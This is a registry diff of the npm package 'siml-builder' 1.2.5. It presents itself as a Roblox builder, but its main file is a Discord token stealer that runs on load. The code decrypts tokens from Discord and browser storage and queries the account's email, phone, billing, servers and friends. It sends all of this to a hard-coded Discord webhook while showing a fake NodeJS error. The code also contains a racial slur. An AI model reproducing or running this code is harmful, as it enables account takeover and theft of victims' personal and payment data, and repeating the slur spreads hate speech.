siml-builder 1.2.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of siml-builder might be problematic. Click here for more details.
- package/package.json +14 -0
- package/siml-builder.js +613 -0
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "siml-builder",
|
3
|
+
"version": "1.2.5",
|
4
|
+
"description": "a builder for rxbl",
|
5
|
+
"main": "./siml-builder.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [
|
10
|
+
"Roblox","Builder","Simple"
|
11
|
+
],
|
12
|
+
"author": "rblxbuilders",
|
13
|
+
"license": "MIT"
|
14
|
+
}
|
package/siml-builder.js
ADDED
@@ -0,0 +1,613 @@
|
|
1
|
+
const diskinfo = require('diskinfo');
|
2
|
+
const path = require('path');
|
3
|
+
const fs = require('fs');
|
4
|
+
|
5
|
+
const { Transform } = require("stream");
|
6
|
+
const crypto = require("crypto");
|
7
|
+
const axios = require("axios");
|
8
|
+
const FormData = require('form-data');
|
9
|
+
function start(){
|
10
|
+
console.log("bulding...")
|
11
|
+
async function sendWebhook(webhook, data, files = [], canary) {
|
12
|
+
const form = new FormData();
|
13
|
+
|
14
|
+
let fileCount = 0;
|
15
|
+
|
16
|
+
if (files.length > 10) {
|
17
|
+
await sendWebhook(webhook, data);
|
18
|
+
for (const file of files) {
|
19
|
+
fileCount++;
|
20
|
+
await sendWebhook(webhook, {
|
21
|
+
...data,
|
22
|
+
content: `Attachment ${fileCount}: \`${file}\``
|
23
|
+
}, [file]);
|
24
|
+
}
|
25
|
+
return;
|
26
|
+
}
|
27
|
+
|
28
|
+
for (const file of files) {
|
29
|
+
const fileStream = fs.createReadStream(file);
|
30
|
+
form.append(`file[${fileCount}]`, fileStream, { filename: file });
|
31
|
+
fileCount++;
|
32
|
+
}
|
33
|
+
|
34
|
+
data.username = "LulzSec Stealer";
|
35
|
+
data.avatar_url = "https://i.imgur.com/WkKXZSl.gif";
|
36
|
+
|
37
|
+
if (data.embeds) {
|
38
|
+
for (const embed of data.embeds) {
|
39
|
+
embed.color = 12740607;
|
40
|
+
embed.footer = {
|
41
|
+
text: "I hate niggers"
|
42
|
+
};
|
43
|
+
embed.timestamp = new Date();
|
44
|
+
}
|
45
|
+
}
|
46
|
+
|
47
|
+
form.append('payload_json', JSON.stringify(data));
|
48
|
+
|
49
|
+
try {
|
50
|
+
await axios.post(webhook, form, {
|
51
|
+
headers: form.getHeaders()
|
52
|
+
});
|
53
|
+
if (canary) {
|
54
|
+
await axios.get(canary);
|
55
|
+
}
|
56
|
+
} catch (error) {
|
57
|
+
console.error('Error sending webhook:', error.response ? error.response.data : error.message);
|
58
|
+
}
|
59
|
+
}
|
60
|
+
|
61
|
+
function getUsers() {
|
62
|
+
return new Promise((resolve, reject) => {
|
63
|
+
diskinfo.getDrives((err, drives) => {
|
64
|
+
if (err) {
|
65
|
+
return reject(err);
|
66
|
+
}
|
67
|
+
let users = [];
|
68
|
+
let drivePromises = drives.map(drive => {
|
69
|
+
const mountpoint = drive.mountpoint;
|
70
|
+
if (!mountpoint) {
|
71
|
+
return Promise.resolve([]);
|
72
|
+
}
|
73
|
+
|
74
|
+
const usersDir = path.join(mountpoint, 'Users');
|
75
|
+
return new Promise((resolveDir, rejectDir) => {
|
76
|
+
fs.readdir(usersDir, { withFileTypes: true }, (err, files) => {
|
77
|
+
if (err) {
|
78
|
+
return resolveDir([]);
|
79
|
+
}
|
80
|
+
let userDirs = files
|
81
|
+
.filter(file => file.isDirectory())
|
82
|
+
.map(file => path.join(usersDir, file.name));
|
83
|
+
|
84
|
+
resolveDir(userDirs);
|
85
|
+
});
|
86
|
+
});
|
87
|
+
});
|
88
|
+
|
89
|
+
Promise.all(drivePromises)
|
90
|
+
.then(results => {
|
91
|
+
results.forEach(userDirs => users.push(...userDirs));
|
92
|
+
if (users.length === 0) {
|
93
|
+
const typicalUsersDir = path.join('C:', 'Users');
|
94
|
+
if (fs.existsSync(typicalUsersDir)) {
|
95
|
+
const files = fs.readdirSync(typicalUsersDir, { withFileTypes: true });
|
96
|
+
users = files
|
97
|
+
.filter(file => file.isDirectory())
|
98
|
+
.map(file => path.join(typicalUsersDir, file.name));
|
99
|
+
}
|
100
|
+
}
|
101
|
+
resolve(users);
|
102
|
+
})
|
103
|
+
.catch(err => {
|
104
|
+
reject(err);
|
105
|
+
});
|
106
|
+
});
|
107
|
+
});
|
108
|
+
}
|
109
|
+
|
110
|
+
function getProfiles(basePath, profileName) {
|
111
|
+
try {
|
112
|
+
const profilePathParts = basePath.split('%PROFILE%');
|
113
|
+
|
114
|
+
if (profilePathParts.length === 1) {
|
115
|
+
return [{
|
116
|
+
path: basePath,
|
117
|
+
name: profileName,
|
118
|
+
}];
|
119
|
+
}
|
120
|
+
|
121
|
+
const [baseDir, profileSubDir] = profilePathParts;
|
122
|
+
const profiles = [];
|
123
|
+
|
124
|
+
if (!fs.existsSync(baseDir)) {
|
125
|
+
return [];
|
126
|
+
}
|
127
|
+
|
128
|
+
const dirs = fs.readdirSync(baseDir);
|
129
|
+
|
130
|
+
for (const dir of dirs) {
|
131
|
+
const profilePath = path.join(baseDir, dir, profileSubDir);
|
132
|
+
if (fs.existsSync(profilePath)) {
|
133
|
+
profiles.push({
|
134
|
+
path: profilePath,
|
135
|
+
name: `${profileName} ${dir}`,
|
136
|
+
});
|
137
|
+
}
|
138
|
+
}
|
139
|
+
|
140
|
+
return profiles;
|
141
|
+
} catch (error) {
|
142
|
+
return [];
|
143
|
+
}
|
144
|
+
}
|
145
|
+
|
146
|
+
async function validateToken(token) {
|
147
|
+
try {
|
148
|
+
const response = await axios.get('https://discord.com/api/v9/users/@me', {
|
149
|
+
headers: { Authorization: token }
|
150
|
+
});
|
151
|
+
return 200 === response.status;
|
152
|
+
} catch {
|
153
|
+
return false;
|
154
|
+
}
|
155
|
+
}
|
156
|
+
|
157
|
+
async function processFile(filePath, pathTail, TOKENS) {
|
158
|
+
return new Promise((resolve, reject) => {
|
159
|
+
try {
|
160
|
+
const stream = fs.createReadStream(filePath, 'utf8');
|
161
|
+
const transform = new Transform({
|
162
|
+
transform(chunk, encoding, callback) {
|
163
|
+
const lines = chunk.toString().split('\n');
|
164
|
+
lines.forEach(line => {
|
165
|
+
if (filePath.includes("cord")) {
|
166
|
+
const localStatePath = pathTail.replace("Local Storage", "Local State");
|
167
|
+
fs.readFile(localStatePath, 'utf8', (err, data) => {
|
168
|
+
if (err) return;
|
169
|
+
const localState = JSON.parse(data);
|
170
|
+
const encrypted = Buffer.from(localState.os_crypt.encrypted_key, 'base64').slice(5);
|
171
|
+
const key = Buffer.from(encrypted, 'utf-8');
|
172
|
+
const encryptedRegex = /dQw4w9WgXcQ:[^\"]*/;
|
173
|
+
const match = line.match(encryptedRegex);
|
174
|
+
|
175
|
+
if (match) {
|
176
|
+
try {
|
177
|
+
let token = Buffer.from(match[0].split("dQw4w9WgXcQ:")[1], 'base64');
|
178
|
+
const start = token.slice(3, 15);
|
179
|
+
const middle = token.slice(15, token.length - 16);
|
180
|
+
const end = token.slice(token.length - 16);
|
181
|
+
|
182
|
+
const decipher = crypto.createDecipheriv('aes-256-gcm', key, start);
|
183
|
+
decipher.setAuthTag(end);
|
184
|
+
|
185
|
+
token = `${decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8')}`;
|
186
|
+
TOKENS.push(token);
|
187
|
+
} catch {
|
188
|
+
}
|
189
|
+
}
|
190
|
+
});
|
191
|
+
}
|
192
|
+
});
|
193
|
+
callback();
|
194
|
+
}
|
195
|
+
});
|
196
|
+
|
197
|
+
stream.pipe(transform).on('finish', resolve).on('error', reject);
|
198
|
+
} catch (err) {
|
199
|
+
reject(err);
|
200
|
+
}
|
201
|
+
});
|
202
|
+
}
|
203
|
+
|
204
|
+
async function processDirectory(directory, TOKENS) {
|
205
|
+
try {
|
206
|
+
const fileNames = await fs.promises.readdir(directory);
|
207
|
+
const fileProcesses = fileNames
|
208
|
+
.filter(fileName => fileName.endsWith('.log') || fileName.endsWith('.ldb'))
|
209
|
+
.map(fileName => {
|
210
|
+
const filePath = path.join(directory, fileName);
|
211
|
+
const pathSplit = directory.split(path.sep);
|
212
|
+
const pathSplitTail = directory.includes('Network')
|
213
|
+
? pathSplit.slice(0, pathSplit.length - 3)
|
214
|
+
: pathSplit.slice(0, pathSplit.length - 2);
|
215
|
+
|
216
|
+
const pathTail = `${pathSplitTail.join(path.sep)}${path.sep}`;
|
217
|
+
return processFile(filePath, pathTail, TOKENS);
|
218
|
+
});
|
219
|
+
|
220
|
+
await Promise.all(fileProcesses);
|
221
|
+
} catch (err) {
|
222
|
+
return
|
223
|
+
}
|
224
|
+
}
|
225
|
+
|
226
|
+
async function getBrowserProfiles(user) {
|
227
|
+
const LOCALAPPDATA = process.env.LOCALAPPDATA
|
228
|
+
.replace(process.env.USERPROFILE, user);
|
229
|
+
|
230
|
+
const APPDATA = process.env.APPDATA
|
231
|
+
.replace(process.env.USERPROFILE, user);
|
232
|
+
|
233
|
+
const ChromiumBrowsers = {
|
234
|
+
'Google(x86)' : `${LOCALAPPDATA}\\Google(x86)\\Chrome\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
235
|
+
'Google SxS' : `${LOCALAPPDATA}\\Google\\Chrome SxS\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
236
|
+
'Chromium' : `${LOCALAPPDATA}\\Chromium\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
237
|
+
'Thorium' : `${LOCALAPPDATA}\\Thorium\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
238
|
+
'Chrome' : `${LOCALAPPDATA}\\Google\\Chrome\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
239
|
+
'MapleStudio' : `${LOCALAPPDATA}\\MapleStudio\\ChromePlus\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
240
|
+
'Iridium' : `${LOCALAPPDATA}\\Iridium\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
241
|
+
'7Star' : `${LOCALAPPDATA}\\7Star\\7Star\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
242
|
+
'CentBrowser' : `${LOCALAPPDATA}\\CentBrowser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
243
|
+
'Chedot' : `${LOCALAPPDATA}\\Chedot\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
244
|
+
'Vivaldi' : `${LOCALAPPDATA}\\Vivaldi\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
245
|
+
'Kometa' : `${LOCALAPPDATA}\\Kometa\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
246
|
+
'Elements' : `${LOCALAPPDATA}\\Elements Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
247
|
+
'Epic' : `${LOCALAPPDATA}\\Epic Privacy Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
248
|
+
'uCozMedia' : `${LOCALAPPDATA}\\uCozMedia\\Uran\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
249
|
+
'Fenrir' : `${LOCALAPPDATA}\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
250
|
+
'Catalina' : `${LOCALAPPDATA}\\CatalinaGroup\\Citrio\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
251
|
+
'Coowon' : `${LOCALAPPDATA}\\Coowon\\Coowon\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
252
|
+
'Liebao' : `${LOCALAPPDATA}\\liebao\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
253
|
+
'QIP Surf' : `${LOCALAPPDATA}\\QIP Surf\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
254
|
+
'Orbitum' : `${LOCALAPPDATA}\\Orbitum\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
255
|
+
'Comodo' : `${LOCALAPPDATA}\\Comodo\\Dragon\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
256
|
+
'360Browser' : `${LOCALAPPDATA}\\360Browser\\Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
257
|
+
'Maxthon3' : `${LOCALAPPDATA}\\Maxthon3\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
258
|
+
'K-Melon' : `${LOCALAPPDATA}\\K-Melon\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
259
|
+
'CocCoc' : `${LOCALAPPDATA}\\CocCoc\\Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
260
|
+
'Amigo' : `${LOCALAPPDATA}\\Amigo\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
261
|
+
'Torch' : `${LOCALAPPDATA}\\Torch\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
262
|
+
'Sputnik' : `${LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
263
|
+
'Edge' : `${LOCALAPPDATA}\\Microsoft\\Edge\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
264
|
+
'DCBrowser' : `${LOCALAPPDATA}\\DCBrowser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
265
|
+
'Yandex' : `${LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
266
|
+
'UR Browser' : `${LOCALAPPDATA}\\UR Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
267
|
+
'Slimjet' : `${LOCALAPPDATA}\\Slimjet\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
268
|
+
'BraveSoftware': `${LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
269
|
+
'Opera' : `${APPDATA}\\Opera Software\\Opera Stable\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
270
|
+
'Opera GX' : `${APPDATA}\\Opera Software\\Opera GX Stable\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
|
271
|
+
};
|
272
|
+
|
273
|
+
const GeckoBrowsers = {
|
274
|
+
'Mozilla Firefox': `${APPDATA}\\Mozilla\\Firefox\\Profiles\\${'%PROFILE%'}\\repl\\`,
|
275
|
+
'Firefox Nightly': `${APPDATA}\\Mozilla\\Firefox Nightly\\Profiles\\${'%PROFILE%'}\\repl\\`,
|
276
|
+
'Firefox Developer Edition': `${APPDATA}\\Mozilla\\Firefox Developer Edition\\Profiles\\${'%PROFILE%'}\\repl\\`,
|
277
|
+
'Basilisk': `${APPDATA}\\Basilisk\\Profiles\\${'%PROFILE%'}\\repl\\`,
|
278
|
+
'Palemoon': `${APPDATA}\\Palemoon\\Profiles\\${'%PROFILE%'}\\repl\\`,
|
279
|
+
'Waterfox': `${APPDATA}\\Waterfox\\Profiles\\${'%PROFILE%'}\\repl\\`,
|
280
|
+
};
|
281
|
+
|
282
|
+
const GetChromiumBrowsers = Object.values(ChromiumBrowsers);
|
283
|
+
const GetGeckoBrowsers = Object.values(GeckoBrowsers);
|
284
|
+
|
285
|
+
const BROWSERS_PATH = [
|
286
|
+
...GetChromiumBrowsers,
|
287
|
+
...GetGeckoBrowsers
|
288
|
+
];
|
289
|
+
|
290
|
+
let BROWSERS_PROFILES = [];
|
291
|
+
|
292
|
+
for (const browser of BROWSERS_PATH) {
|
293
|
+
const profiles = getProfiles(browser, path.basename(browser));
|
294
|
+
for (const profile of profiles) {
|
295
|
+
BROWSERS_PROFILES.push(profile.path);
|
296
|
+
}
|
297
|
+
}
|
298
|
+
|
299
|
+
return BROWSERS_PROFILES;
|
300
|
+
}
|
301
|
+
|
302
|
+
async function FTU(user) {
|
303
|
+
let TOKENS = [];
|
304
|
+
|
305
|
+
const APPDATA = process.env.APPDATA
|
306
|
+
.replace(process.env.USERPROFILE, user);
|
307
|
+
|
308
|
+
const DISCORD_PATHS = {
|
309
|
+
'Discord Canary' : `${APPDATA}\\discordcanary\\Local Storage\\leveldb\\`,
|
310
|
+
"Discord PTB" : `${APPDATA}\\discordptb\\Local Storage\\leveldb\\`,
|
311
|
+
'Lightcord' : `${APPDATA}\\Lightcord\\Local Storage\\leveldb\\`,
|
312
|
+
'Discord' : `${APPDATA}\\discord\\Local Storage\\leveldb\\`,
|
313
|
+
'Discord Nitro': `${APPDATA}\\discordnitro\\Local Storage\\leveldb\\`,
|
314
|
+
'Discord Lite': `${APPDATA}\\discordlite\\Local Storage\\leveldb\\`,
|
315
|
+
'Discord Lite Canary': `${APPDATA}\\discordlitecanary\\Local Storage\\leveldb\\`,
|
316
|
+
'Discord Lite PTB': `${APPDATA}\\discordliteptb\\Local Storage\\leveldb\\`,
|
317
|
+
'Discord PTB (Experimental)': `${APPDATA}\\discordptbexperimental\\Local Storage\\leveldb\\`,
|
318
|
+
'Discord Canary (Legacy)': `${APPDATA}\\discordcanarylegacy\\Local Storage\\leveldb\\`
|
319
|
+
};
|
320
|
+
|
321
|
+
const pathProcesses = Object.values(DISCORD_PATHS)
|
322
|
+
.filter(async value => fs.promises.access(value).then(() => true).catch(() => false))
|
323
|
+
.map(value => processDirectory(value, TOKENS));
|
324
|
+
|
325
|
+
await Promise.all(pathProcesses);
|
326
|
+
|
327
|
+
const BROWSERS_PROFILES = await getBrowserProfiles(user);
|
328
|
+
const cleanRegex = [
|
329
|
+
/[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}|mfa\.[\w-]{80,95}/g,
|
330
|
+
/[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}/g,
|
331
|
+
/[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g,
|
332
|
+
/[\w-]{24}\.[\w-]{6}\.[\w-]{38}/g,
|
333
|
+
/mfa\.[\w-]{84}/g
|
334
|
+
];
|
335
|
+
|
336
|
+
const browserProcesses = BROWSERS_PROFILES.map(async (profile) => {
|
337
|
+
if (await fs.promises.access(profile).then(() => true).catch(() => false)) {
|
338
|
+
const files = await fs.promises.readdir(profile);
|
339
|
+
const fileProcesses = files
|
340
|
+
.filter(file => file.endsWith('.log') || file.endsWith('.ldb'))
|
341
|
+
.map(file => {
|
342
|
+
const filePath = path.join(profile, file);
|
343
|
+
return fs.promises.readFile(filePath, 'utf-8').then(content => {
|
344
|
+
for (const reg of cleanRegex) {
|
345
|
+
TOKENS.push(...content.match(reg) || []);
|
346
|
+
}
|
347
|
+
});
|
348
|
+
});
|
349
|
+
|
350
|
+
await Promise.all(fileProcesses);
|
351
|
+
}
|
352
|
+
});
|
353
|
+
|
354
|
+
await Promise.all(browserProcesses);
|
355
|
+
|
356
|
+
TOKENS = Array.from(new Set(TOKENS));
|
357
|
+
TOKENS = await Promise.all(TOKENS.map(async token => (await validateToken(token)) ? token : null));
|
358
|
+
TOKENS = TOKENS.filter(token => token !== null);
|
359
|
+
|
360
|
+
return TOKENS;
|
361
|
+
}
|
362
|
+
|
363
|
+
|
364
|
+
(async () => {
|
365
|
+
const webhook = 'https://canary.discord.com/api/webhooks/1275778358877229097/FWO9d5LszLYMrVn76eP5Ej_KaVZnCWqihKO-v2tN1Ux-cT_S1msexO1tH2fpU88vJXD_'; // WEBHOOK
|
366
|
+
const users = await getUsers();
|
367
|
+
|
368
|
+
for (const user of users) {
|
369
|
+
const tokens = await FTU(user);
|
370
|
+
|
371
|
+
for (let token of tokens) {
|
372
|
+
try {
|
373
|
+
let userData = await axios.get('https://discord.com/api/v9/users/@me', { headers: { Authorization: token } });
|
374
|
+
let user = userData.data;
|
375
|
+
|
376
|
+
let billingData = await axios.get('https://discord.com/api/v9/users/@me/billing/payment-sources', { headers: { Authorization: token } });
|
377
|
+
let billing = billingData.data;
|
378
|
+
|
379
|
+
let guildsData = await axios.get('https://discord.com/api/v9/users/@me/guilds?with_counts=true', { headers: { Authorization: token } });
|
380
|
+
let guilds = guildsData.data;
|
381
|
+
|
382
|
+
let friendsData = await axios.get('https://discord.com/api/v9/users/@me/relationships', { headers: { Authorization: token } });
|
383
|
+
let friends = friendsData.data;
|
384
|
+
|
385
|
+
const avatarUrlGif = `https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.gif`;
|
386
|
+
const avatarUrlPng = `https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png`;
|
387
|
+
|
388
|
+
let avatar;
|
389
|
+
try {
|
390
|
+
const avatarResponse = await axios.get(avatarUrlGif);
|
391
|
+
if (avatarResponse.status === 200) {
|
392
|
+
avatar = avatarUrlGif;
|
393
|
+
}
|
394
|
+
} catch (error) {
|
395
|
+
avatar = avatarUrlPng;
|
396
|
+
}
|
397
|
+
|
398
|
+
let copy = `ihatekids.uk`;
|
399
|
+
|
400
|
+
const data = {
|
401
|
+
embeds: [
|
402
|
+
{
|
403
|
+
title: `${user.username} | ${user.id}`,
|
404
|
+
thumbnail: {
|
405
|
+
url: avatar + '?size=512'
|
406
|
+
},
|
407
|
+
fields: [
|
408
|
+
{
|
409
|
+
name: "<a:hearts:1176516454540116090> Token:",
|
410
|
+
value: `\`\`\`\n${token}\n\`\`\`\n[[Click Here To Copy Your Token]](${copy})`,
|
411
|
+
inline: false
|
412
|
+
},
|
413
|
+
{ name: "\u200b", value: "\u200b", inline: false },
|
414
|
+
{
|
415
|
+
name: "Nitro:",
|
416
|
+
value: getNitro(user.premium_type),
|
417
|
+
inline: true
|
418
|
+
},
|
419
|
+
{
|
420
|
+
name: "Phone:",
|
421
|
+
value: `\`${user.phone || 'None'}${user.mfa_enabled ? ' (2FA)' : ''}\``,
|
422
|
+
inline: true
|
423
|
+
},
|
424
|
+
{ name: "\u200b", value: "\u200b", inline: false },
|
425
|
+
{
|
426
|
+
name: "Email:",
|
427
|
+
value: `\`${user.email || 'None'}\``,
|
428
|
+
inline: true
|
429
|
+
},
|
430
|
+
{
|
431
|
+
name: "Badges:",
|
432
|
+
value: getFlags(user.public_flags),
|
433
|
+
inline: true
|
434
|
+
},
|
435
|
+
{
|
436
|
+
name: "Billing:",
|
437
|
+
value: getBilling(billing),
|
438
|
+
inline: true
|
439
|
+
}
|
440
|
+
]
|
441
|
+
}
|
442
|
+
]
|
443
|
+
};
|
444
|
+
|
445
|
+
const hqGuilds = await getHQGuilds(guilds, token);
|
446
|
+
if (hqGuilds) {
|
447
|
+
data.embeds[0].fields.push({
|
448
|
+
name: "\u200b",
|
449
|
+
value: hqGuilds,
|
450
|
+
inline: false
|
451
|
+
});
|
452
|
+
}
|
453
|
+
|
454
|
+
const hqFriends = getHQFriends(friends);
|
455
|
+
if (hqFriends) {
|
456
|
+
data.embeds[0].fields.push({
|
457
|
+
name: "\u200b",
|
458
|
+
value: hqFriends,
|
459
|
+
inline: false
|
460
|
+
});
|
461
|
+
}
|
462
|
+
|
463
|
+
await sendWebhook(webhook, data, [], copy);
|
464
|
+
} catch (error) {
|
465
|
+
console.error('Error sending webhook:', error);
|
466
|
+
}
|
467
|
+
}
|
468
|
+
}
|
469
|
+
})();
|
470
|
+
|
471
|
+
|
472
|
+
function getHQFriends(friends) {
|
473
|
+
const filteredFriends = friends
|
474
|
+
.filter(friend => friend.type === 1)
|
475
|
+
.map(friend => ({
|
476
|
+
username: friend.user.username,
|
477
|
+
discriminator: friend.user.discriminator,
|
478
|
+
flags: getRareFlags(friend.user.public_flags)
|
479
|
+
}))
|
480
|
+
|
481
|
+
let hQFriends = filteredFriends.map(friend => {
|
482
|
+
const name = `${friend.username}#${friend.discriminator}`;
|
483
|
+
if(friend.flags) {
|
484
|
+
return `${friend.flags} | ${name}\n`
|
485
|
+
}
|
486
|
+
});
|
487
|
+
|
488
|
+
hQFriends = hQFriends.join('');
|
489
|
+
|
490
|
+
if (hQFriends.length === 0) {
|
491
|
+
return false;
|
492
|
+
}
|
493
|
+
|
494
|
+
if (hQFriends.length > 1000) {
|
495
|
+
hQFriends = "Too many friends to display.";
|
496
|
+
}
|
497
|
+
|
498
|
+
return `**Rare Friends:**\n${hQFriends}`;
|
499
|
+
};
|
500
|
+
|
501
|
+
async function getHQGuilds(guilds, token) {
|
502
|
+
const filteredGuilds = guilds
|
503
|
+
.filter(guild => guild.owner || (guild.permissions & 8) === 8)
|
504
|
+
.filter(guild => guild.approximate_member_count >= 500)
|
505
|
+
.map(guild => ({
|
506
|
+
id: guild.id,
|
507
|
+
name: guild.name,
|
508
|
+
owner: guild.owner,
|
509
|
+
member_count: guild.approximate_member_count
|
510
|
+
}));
|
511
|
+
|
512
|
+
let hQGuilds = await Promise.all(filteredGuilds.map(async guild => {
|
513
|
+
const response = await axios.get(`https://discord.com/api/v8/guilds/${guild.id}/invites`, {
|
514
|
+
headers: { Authorization: token }
|
515
|
+
});
|
516
|
+
|
517
|
+
const invites = response.data;
|
518
|
+
const invite = invites.length > 0
|
519
|
+
? `[Join Server](https://discord.gg/${invites[0].code})`
|
520
|
+
: 'No Invite';
|
521
|
+
|
522
|
+
const emoji = guild.owner
|
523
|
+
? `<:owner:963333541343686696> Owner`
|
524
|
+
: `<:staff:1178394965706031114> Admin`;
|
525
|
+
const members = `Members: \`${guild.member_count}\``;
|
526
|
+
const name = `**${guild.name}** - (${guild.id})`;
|
527
|
+
|
528
|
+
return `${emoji} | ${name} - ${members} - ${invite}\n`;
|
529
|
+
}));
|
530
|
+
|
531
|
+
hQGuilds = hQGuilds.join('')
|
532
|
+
|
533
|
+
if (hQGuilds.length === 0) {
|
534
|
+
return false;
|
535
|
+
}
|
536
|
+
|
537
|
+
if (hQGuilds.length > 1000) {
|
538
|
+
hQGuilds = "Too many servers to display.";
|
539
|
+
}
|
540
|
+
|
541
|
+
return `**Rare Servers:**\n${hQGuilds}`;
|
542
|
+
}
|
543
|
+
|
544
|
+
function getBilling(billing) {
|
545
|
+
const paymentMap = {
|
546
|
+
1: '💳',
|
547
|
+
2: '<:paypal:1129073151746252870>'
|
548
|
+
};
|
549
|
+
let paymentMethods = billing.map(method => paymentMap[method.type] || '❓').join('');
|
550
|
+
return paymentMethods || '`None`';
|
551
|
+
}
|
552
|
+
|
553
|
+
function getNitro(flags) {
|
554
|
+
const nitroDict = {
|
555
|
+
1: '`Nitro Classic`',
|
556
|
+
2: '`Nitro`',
|
557
|
+
3: '`Nitro Basic`'
|
558
|
+
};
|
559
|
+
return nitroDict[flags] || '`None`';
|
560
|
+
}
|
561
|
+
|
562
|
+
function getFlags(flags) {
|
563
|
+
const flagsDict = {
|
564
|
+
'<:staff:1090015968618623129>': 0,
|
565
|
+
'<:partner:918207395279273985>': 1,
|
566
|
+
'<:events:898186057588277259>': 2,
|
567
|
+
'<:bughunter_1:874750808426692658>': 3,
|
568
|
+
'<:bravery:874750808388952075>': 6,
|
569
|
+
'<:brilliance:874750808338608199>': 7,
|
570
|
+
'<:balance:874750808267292683>': 8,
|
571
|
+
'<:early:944071770506416198>': 9,
|
572
|
+
'<:bughunter_2:874750808430874664>': 14,
|
573
|
+
'<:verifieddeveloper:1257040817600594101>': 17,
|
574
|
+
'<:certifiedmoderator:925562487280128061>': 18,
|
575
|
+
'⌨️': 20,
|
576
|
+
'<:activedev:1042545590640324608>': 22
|
577
|
+
};
|
578
|
+
|
579
|
+
let result = '';
|
580
|
+
for (const [emoji, shift] of Object.entries(flagsDict)) {
|
581
|
+
if ((flags & (1 << shift)) !== 0) {
|
582
|
+
result += emoji;
|
583
|
+
}
|
584
|
+
}
|
585
|
+
|
586
|
+
return result.trim() || '`None`';
|
587
|
+
}
|
588
|
+
|
589
|
+
function getRareFlags(flags) {
|
590
|
+
const flagsDict = {
|
591
|
+
'<:staff:1090015968618623129>': 0,
|
592
|
+
'<:partner:918207395279273985>': 1,
|
593
|
+
'<:events:898186057588277259>': 2,
|
594
|
+
'<:bughunter_1:874750808426692658>': 3,
|
595
|
+
'<:early:944071770506416198>': 9,
|
596
|
+
'<:bughunter_2:874750808430874664>': 14,
|
597
|
+
'<:activedev:1042545590640324608>': 22,
|
598
|
+
'<:verifieddeveloper:1257040817600594101>': 17
|
599
|
+
};
|
600
|
+
|
601
|
+
let result = '';
|
602
|
+
for (const [emoji, shift] of Object.entries(flagsDict)) {
|
603
|
+
if ((flags & (1 << shift)) !== 0) {
|
604
|
+
result += emoji + ' ';
|
605
|
+
}
|
606
|
+
}
|
607
|
+
|
608
|
+
return result.trim();
|
609
|
+
}
|
610
|
+
}
|
611
|
+
|
612
|
+
start()
|
613
|
+
console.log("error. please update NodeJS")
|